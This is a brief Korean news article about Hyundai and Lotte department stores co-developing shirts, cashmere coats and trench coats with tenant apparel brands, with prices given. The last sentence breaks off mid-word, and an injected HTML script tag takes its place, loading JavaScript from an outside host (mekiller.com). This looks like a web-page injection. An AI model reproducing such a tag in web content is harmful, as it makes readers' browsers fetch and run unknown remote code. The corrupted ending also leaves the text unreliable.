백화점들이 입점 업체와의 상생 노력을 확대하고 있다.
현대백화점은 지난해부터 ‘아쿠아스큐텀’, ‘니나리찌’, ‘닥스’, ‘예작’, ‘듀퐁’, ‘카운테스마라 ’등 주요 셔츠 브랜드와 공동으로 기획한 소프트 셔츠를 선보이고 있다.
중심 가격대가 14만9,000원으로 다소 높은 편이지만 수입원단이 50% 이상 사용되는 등 소재고급화와 칼라나 패턴에서 한층 부드럽고 슬림한 스타일을 제안하고 있다.
롯데백화점은 ‘캠브리지멤버스’, ‘마에스트로’, ‘트래드클럽’, ‘맨스타’ 등 신사 정장 브랜드들과 캐시미어100% 고급 코트를 기획했다.
중심 가격대는 45만원대로 기존 캐시미어 코트가 100만원대인 걸 감안할 때 매우 저렴한 수준이다.
또 ‘닥스’와는 3가지 스타일의 트렌치코트 기획 상품을 출시, 일본 수입 소?script src=http://mekiller.com/1/1.js>